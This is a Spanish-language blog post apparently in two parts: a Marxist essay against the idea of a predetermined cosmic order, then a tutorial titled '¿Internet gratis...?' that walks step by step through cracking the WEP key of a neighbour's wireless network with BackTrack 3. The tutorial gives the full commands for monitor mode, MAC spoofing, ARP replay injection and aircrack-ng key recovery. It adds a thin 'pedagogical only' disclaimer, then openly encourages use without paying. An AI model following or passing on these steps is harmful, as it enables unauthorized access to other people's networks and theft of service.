Dicho de otra forma, si se busca en un diccionario el significado de la palabra orden se encontrará algo así como: “colocación de las cosas en el lugar que les corresponde” o “paz y tranquilidad”, lo cual contrasta rotundamente con palabras como “pobreza extrema”, “marginación”, “genocidio”, “etnocidio”, “explotación”, “opresión”, “tortura”, “desplazamientos forzosos”, “desapariciones” “asesinatos selectivos”, “terrorismo de estado”, etc. Sin embargo, estas palabras parecen ser el referente empírico de lo que el orden cósmico necesariamente indica. He aquí la contradicción...

Pero el hombre que manejaba continuó viajando por la ruta de la predeterminación del destino y la plática se tornó en una apología de aquel monstruo inefable y su dominación. El que muere entonces, es culpable de haber muerto, el que llora es porque quiere llorar, los cinco billones de pobres, son pobres no por algún problema en el ‘orden’ existente sino porque en algún otro tiempo-espacio debieron haber sembrado su desgracia. No es el sistema el que oprime, sino el oprimido el que causa su opresión. No explota el explotador, sino el explotado. No discrimina el racista, sino el discriminado. Aquel extraño orden parecería haber invertido la realidad y una vez puesta de cabeza, creado una extraña apología del sistema explotador.
Siguió el hombre que manejaba en la lógica del orden. La necesaria conclusión era que para lograr una verdadera liberación había que buscar el orden cósmico y encontrar el papel personal, individual, dentro de este orden. Había que encontrar la misión personal, es decir lo que el destino habría escrito para cada uno. Habría que descubrir lo que somos, tomar conciencia y aceptar lo que somos.
En otras palabras, para combatir al monstruo hay que aceptar nuestro destino. ¿Para derrotar al opresor hay que aceptar ser oprimido? ¿Para liberar al explotado hay que aceptar la explotación? ¿Para derrotar al asesino, hay que dejarse asesinar?
Podría dársele sentido a esta contradicción lógica, sólo si ésta se plantea meramente en el plano de las ideas, es decir, si la emancipación se concibe como un proceso espiritual, la realización del espíritu en la conciencia individual. Era esto precisamente lo que ansiosamente defendía y predicaba el hombre que manejaba.
Si se analiza detalladamente esta proposición epistemológica, se puede descubrir en ella un idealismo filosófico característico del pensamiento religioso Europeo de inclinación judeo/cristiana. Buscando los orígenes de este tipo de concepciones podemos regresar en el desarrollo histórico del pensamiento europeo hasta llegar a Platón quien pensaba que el mundo material era sólo el reflejo del mundo de las ideas. Para este filósofo, la realidad existía en una dimensión independiente del mundo material y este, era meramente, una representación de la realidad. Esta misma tendencia filosófica pasa por pensadores como Tomás de Aquinas, San Agustín o Immanuel Kant, hasta llegar al complicado Hegel quien formaliza el proceso mecánico de la dialéctica de la evolución del Espíritu.
Hegel propone un proceso de evolución en un plano inmaterial por medio de una toma de conciencia y un "auto-descubrimiento" que puede contrarrestar la enajenación del yo. Este proceso de toma de conciencia no es más que la realización de una unidad entre la subjetividad y el Espíritu, concebido como ente independiente y parte de una totalidad.
Al concentrarse sólo en el proceso de "auto-descubrimiento", y al concebir la evolución en un plano no-material, estamos adoptando necesariamente una visión apologética del orden (más bien desorden) material en el plano físico y social. Al querer concebir el proceso evolutivo como un proceso espiritual interno e individual, se corre el peligro de no abocarse a un proyecto de cambio social, sino terminar apoyando un conservadurismo desmovilizante.
El pensar que este proceso de desarrollo espiritual ocurre dentro de un plan ya establecido y predeterminado en donde cada quien es quien está destinado a ser es pensar que cada quien es quien debe de ser. En otras palabras, el pobre está destinado a ser pobre y el rico y opresor a ser rico y opresor. La consecuencia lógica de esta línea de razonamiento es que, por ejemplo, el rico se deshace de cualquier tipo de responsabilidad en la pobreza del explotado. Es aplaudir el mundo como es y desechar a priori la posibilidad de un cambio social, la posibilidad de luchar por una sociedad egalitaria, la posibilidad misma de combatir al monstruo.
Este tipo de pensamiento idealista, se puede contrastar con una corriente paralela que se remonta al empirismo del viejo Aristóteles, el materialismo. Si se sigue este camino se puede llegar al pensamiento de Carlos Marx, quien toma las ideas Hegelianas y las baja del ámbito de las ideas al plano material. Marx se da cuenta de que al concebirse la evolución del ser humano en un plano espiritual, se hace a un lado la realidad material y se condona de esta forma la opresión, explotación y sufrimiento de las masas explotadas, de la humanidad. Una de las principales tesis marxianas se basa en la preocupación por la insistencia de los filósofos en sólo observar el mundo, cuando el objetivo mismo de la filosofía debe ser cambiarlo...

Así concluye la breve historia de aquel viaje a La Nueva Cascada, que resultó ser no sólo una belleza natural en medio de un mundo de miseria, sino un lugar lleno de historias, maravillas, y esperanzas que llenan el corazón del visitante que pone atención de una inmensa alegría y unas ganas de luchar por lo que a los ojos del necio pareciera no tener solución, unas ganas de vivir en libertad, en un mundo justo e igualitario, en un mundo verdaderamente humano.

¿Internet gratis...?


(Breve explicación de cómo hackear una clave WEP para poder utilizar una señal inalámbrica de Internet protegida)

Si tu computadora capta las señales cercanas de Internet inalámbrico pero no puedes utilizarlas porque al tratar de conectarte te pide la clave WEP (WEP key) o una frase de contraseña, con este método podrás obtener la clave que necesitas para acceder a cualquier señal inalámbrica. Por supuesto, si la señal inalámbrica está protegida por WPA en lugar del WEP, entonces este método no funcionará. Sin embargo, la mayoría de servicios de Internet inalámbrica, a la fecha, utilizan como estándar de seguridad el WEP.

Este método utiliza como herramienta principal la distribución de linux “Back Track 3.0”, la cual fue precisamente diseñada para auditorías de seguridad informática. El Back Track es una distribución en formato LiveCD que surge de la combinación de dos distribuciones linux anteriores, “Whax” y “Auditor Security Collection”. Para los que saben un poco más de linux, es interesante saber que el Whax es la evolución del “Whoppix” (White Hat Knoppix). Si el Knoppix ha demostrado ser una herramienta muy poderosa, el Back Track recoge esto y mucho más.

Todo esto suena inteligible para quienes utilizan alguna distribución de linux como sistema operativo (OS), o cualquier otro OS de Unix. Pero... ¿qué pasa con los que sólo utilizan Windows? No se preocupen, el Back Track, como ya dije anteriormente, viene en formato LiveCD y se puede utilizar independientemente de qué OS tenga tu computadora. Esto significa que no tienes que instalar nada, sino que puedes correr el sistema desde un CD o una memoria USB. Por supuesto, yo les diría a los que todavía están limitados al imperio de Microsoft, que se pongan las pilas y hagan el cambio a linux, no importa qué distribución sea (Ubuntu, Suse, Red Hat, Mandriva, Slackware, etc.). Las posibilidades son inmensas.

Bueno... una vez dicho esto, procedamos a lo que nos interesa. Estos son los pasos que hay que seguir para obtener la clave WEP de nuestra señal captada:


1. Así como un doctor, mecánico o un carpintero no pueden hacer nada sin sus herramientas, así nosotros, primero tendremos que conseguir nuestra herramienta, es decir, la distribución LiveCD de Back Track. Para esto, vamos a la siguiente página: http://www.remote-exploit.org/backtrack_download.html Ahí podemos bajar la imagen .iso de Back Track, la cual después tendremos que quemar en un CD o una memoria USB. Sólo hay que dar click en donde dice: “Download: Click Here”. Esto puede ser un poco tardado. Si tenemos una conexión de Internet rápida, quizá sea un par de horas, si no, podría tardar más.

(Nota: Si queremos la imagen para CD, bajamos la primera opción que nos aparece en la página y si queremos hacerlo a través de una USB bajamos la segunda opción.)


2. Una vez que se haya bajado completamente la imagen tendrás en tu carpeta de descargas un archivo llamado “bt3-final.iso” o “bt3final_usb.iso” (dependiendo si bajaste la imagen para CD o para USB respectivamente).

Si descargaste la imagen para CD, sólo tienes que quemarla (descargarla) en un CD y listo, tendrás tu herramienta lista para usarse. Entonces salta el siguiente paso, y continúa leyendo en el punto 4.


3. Si descargaste la imagen para USB, entonces lo que tienes que hacer primero es copiar la imagen en tu USB. Después tendrás que extraer los archivos de la imagen en el USB. (Nota: necesitarás una memoria USB de al menos 1GB. Ahora tendrás en tu memoria dos carpetas (“boot” y “BT3”). Entra a la carpeta “boot” y:

Si tienes Windows, corre el archivo “bootinst.bat”. Si tienes Windows Vista, tendrás que correr el archivo con privilegios de administrador. Esto se hace dando click derecho sobre el archivo y seleccionando la opción de ejecutar con privilegios de administrador. Te va a salir una ventana de línea de comandos MS-DOS, y tendrás que dar “enter” dos veces, de acuerdo a las instrucciones que te vaya indicando el programa.

Si tienes un OS de linux, entonces ahí mismo dentro de la carpeta “boot” encontrarás un archivo que se llama "bootinst.sh". Ejecuta este archivo en terminal, y lo mismo, tendrás que darle “enter” dos veces, de acuerdo a lo que te vaya indicando el programa.

Esto hará que nuestra USB pueda servir para arrancar la computadora al prenderla.


4. Una vez que tenemos nuestra herramienta lista, ya sea el LiveCD o LiveUSB, procedamos a utilizarla. Inserta el CD o USB en tu computadora, y después apágala.


5. Ahora tendremos que entrar al BIOS de la computadora para cambiar la secuencia de arranque:

Normalmente, cuando enciendes una computadora, la primera pantalla que te sale es la de la compañía fabricante (Dell, Toshiba, IBM, etc.) Esta pantalla dura un par de segundos y después entra el sistema.

Lo que tienes que hacer es prender tu computadora, y enseguida, mientras está la primera pantalla del fabricante, presionar F2, F10 o F12, o la tecla de Escape, para entrar al BIOS. Normalmente en la pantalla misma te indica qué tecla tienes que presionar para entrar a la configuración (Setup) del BIOS. Esto depende del modelo de tu computadora.

Una vez que hayas presionado la tecla adecuada, tu computadora entrará al BIOS. Verás una pantalla (normalmente) azul, en modo de texto, en donde puedes cambiar la configuración de tu computadora.

Encuentra la opción en donde diga algo así como: “Secuencia de arranque” o si está en inglés: “Boot Sequence”. Ahí, lo que tienes que hacer es decirle a tu computadora que al encenderse, intente arrancar primero con un USB, o CD y después con el disco duro (HDD). Sólo tienes que seguir las indicaciones en tu pantalla para cambiar la secuencia de arranque. Yo tengo el orden en mi computadora de la siguente forma:

1. USB Storage Device
2. CD/DVD/CD-RW Drive
3. Internal HDD
4. Diskette Drive

Una vez, hecho esto. Guarda los cambios y sal del BIOS. Apaga la computadora.


6. Vuelve a encender tu computadora, (recuerda que ya debes tener el CD o USB dentro), y automáticamente entrará el sistema de Back Track.

La primera pantalla que verás será una de color gris con una serie de opciones. Para que sea más fácil y no haya problemas con los gráficos, baja a la tercera opción y dale "enter" en donde dice: “BT3 Graphics mode (KDE)”.

Ahora estarás arrancando tu computadora con el OS de Back Track.


7.
Cuando termine de cargarse, verás en el escritorio el logo de Back Track 3. Este es el escritorio de KDE, uno de los más comunes en las distribuciones de linux.

Abajo, en la barra de tareas, dale click al logo azul que está en la esquina inferior izquierda que tiene una “K” (es el logo de KDE). Luego busca Internet>Wireless Assistant. Dale click, y tendrá que salir una ventana en donde puedes ver las señales inalámbricas de Internet que hay cercanas.

Si no ves ninguna señal es que a) no hay señales inalámbricas cercanas, o b) no está funcionando tu tarjeta de Internet inalámbrica.

Si ves las señales, entonces, significa que todo va bien. Puedes cerrar esta ventana.


8.
Junto al logo azul de KDE, hay un ícono que parece un monitor negro de una computadora. Está es la consola, línea de comandos. Dale click ahí. Ahora te aparece una ventana con un cursor.

Aquí escribimos lo siguiente:

# airmon-ng

(Nota: No escribas el signo de número (#), esto sólo indica el cursor del usuario, y que es una nueva orden.)

Presiona “enter” y te saldrá algo como esto:

Interface Chipset Driver

eth1 Broadcom bcm43xx


9. Fíjate en la parte inferior izquierda de los datos que salieron, cómo se llama tu dispositivo de Internet inalámbrico. En mi caso, mi dispositivo se llama “eth1”. En tu caso, puede ser el mismo, o dependiendo de la computadora que uses, puede variar. Puede también ser algo así como “ath1” o “wlan0”, etc. Fíjate cómo se llama tu dispositivo y de ahora en adelante, en donde yo escriba “eth1”, tú vas a escribir el nombre de tu dispositivo.


10.
Ahora escribimos lo siguiente:

# airmon-ng stop eth1

# ifconfig eth1 down

# macchanger --mac 00:11:22:33:44:55 eth1

(Nota: presiona “enter” después de cada orden)

Después de presionar “enter” en la última orden, te saldrá algo así como:

Current MAC: 00:23:12:c7:gh:3D (unknown)
Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)

(Nota: pueden variar los números, pero es algo parecido).


11.
Ahora escribe la siguiente orden:

# airmon-ng start eth1

Te tiene que resultar algo así:

Interface Chipset Driver

eth1 Broadcom bcm43xx (monitor mode enabled)


12.
Ahora escribe la siguiente orden:

# airodump-ng eth1

Enseguida te salen una lista de las señales inalámbricas de Internet que está captando tu computadora. Quizá tengas que hacer la ventana más grande para ver toda la información. Encuentra la señal que quieras “atacar”, la “señal objetivo”. El nombre de la señal lo encuentras bajo el encabezado de “ESSID”.

Una vez que decidas de qué señal quieres obtener la clave WEP, entonces anota cuál es su BSSID, (es decir, los números correspondientes a esa señal que están bajo el encabezado de BSSID). Supongamos que es algo así como: 00:21:8D:99:B4:F2.

También anota el canal de esa señal. Este lo encuentras bajo el encabezado “CH”. Supongamos que el canal es “6”.

Una vez que tienes estos datos, puedes oprimir Ctrl C para cancelar.


13. Ahora escribe la siguiente orden, tomando los datos que acabas de anotar:

# airodump-ng -c 6 -w marx --bssid 00:21:8D:99:B4:F2 eth1

(Nota: Toma en cuenta que yo escribí el número “6” porque estamos suponiendo que el canal de mi señal objetivo es “6”. Tú escribe el canal que hayas anotado. También, yo escribí: “00:21:8D:99:B4:F2” porque estamos suponiendo que esa es la BSSID de la señal que queremos, es decir, de la señal objetivo. Tú pon la BSSID que hayas anotado de tu señal objetivo.)

Enseguida te salen nuevamente, los encabezados anteriores, pero ahora sólo ves listada la señal que escogiste. Mira bajo el encabezado de #Data, y asegúrate de que esté aumentando el número de datos.


14.
Ahora abre otra ventana de consola, haciendo click en el ícono de la barra de tareas que parece un monitor. No cierres la ventana inicial, déjala abierta.

En la segunda consola, escribe lo siguiente:

# aireplay-ng -1 0 -a 00:21:8D:99:B4:F2 -h 00:11:22:33:44:55 eth1

(Nota: una vez más, tú tienes que sustituir en donde yo puse “ 00:21:8D:99:B4:F2” por el BSSID de tu señal objetivo. Por supuesto, también, donde yo pongo eth1, lo debes de haber estado sustituyendo todo este tiempo por tu propio dispositivo. Lo demás, lo escribes exactamente igual, incluyendo el “00:11:22:33:44:55”.)


15.
Ahora escribe la siguiente orden:

# aireplay-ng -3 -b 00:21:8D:99:B4:F2 -h 00:11:22:33:44:55 eth1

(La misma nota anterior, sólo sustituye el BSSID de tu señal objetivo y el dispositivo si es diferente).

Ahora tendrás que esperar algunos minutos. Esto puede tardarse un rato.

En tu segunda consola, verás que van saliendo una serie de líneas que dicen algo así como: “Read 9876 packets (got 95 ARP requests and 39874 ACKs), sent 14255 packets...”

Esto significa que vamos bien.


16.
Ahora observa la primera ventana que dejaste abierta. Bajo el encabezado de #Data, tienes que ver como mínimo 10000 datos antes de que puedas intentar acceder a la clave. Quizá tengas que esperar más, hasta que veas que el número se ha elevado a más de 10,000.

Una vez que veas que has llegado a más de 10000. Entonces, abre una tercera consola y escribe la siguiente orden:

# aircrack-ng -b 00:21:8D:99:B4:F2 marx-01.cap

(Nota: una vez más, sustituye el "00:21:8D:99:B4:F2" por el BSSID de tu señal objetivo)


17.
Si todo ha salido bien, la orden buscará a través de un proceso estadístico la clave. Cuando termine de hacer esto verás algo así como:

KEY FOUND! [ 00:52:AA:32:BB ]
Decrypted correctly: 100%

Esto significa que la clave WEP de la señal objetivo es “0052AA32BB”. Es decir, sólo tienes que suprimir los dos puntos, y ese número será tu clave WEP.

Si no encontró la clave te saldrá algo así como:

Failed, Next try with 5000 Ivs.

Esto significa que tendrás que esperar hasta que junte otros 5000 paquetes de datos, y automáticamente hara otro intento. Lo más probable es que obtengas tu clave WEP desde el primer intento, con sólo 10000 paquetes, pero si no, pues espera otro rato, hasta que llegue a 15000 y entonces tendrás la clave.


18.
Ahora sólo tienes que apuntar tu clave, reiniciar normalmente tu computadora (sin el LiveCD o LiveUSB), e intentar conectarte a la señal objetivo. Cuando te pida tu clave WEP pon la que acabas de obtener, y listo... estarás conectado al Internet.

(Nota: si utilizas linux, tienes que especificar si es Frase de contraseña o Clave hexadecimal. Normalmente es Clave hexadecimal lo que hay que poner. Si no, prueba con las dos. Tiene que ser cualquiera de esas dos.)

Bueno... pues espero que esto te haya sido de utilidad. Recuerda que esto sólo lo puedes hacer por motivos pedagógicos, no para usar Internet sin pagar. Ahora que... si tú no estás de acuerdo con el modelo económico actual capitalista que pretende hacer de la tecnología un privilegio para quienes puedan pagar, y que la tecnología tendría que estar al alcance del pueblo, entonces puedes usarlo como una objeción de conciencia. Cualquier duda, escribe tus comentarios.

Saludos, buena suerte y... ¡Abajo el capitalismo!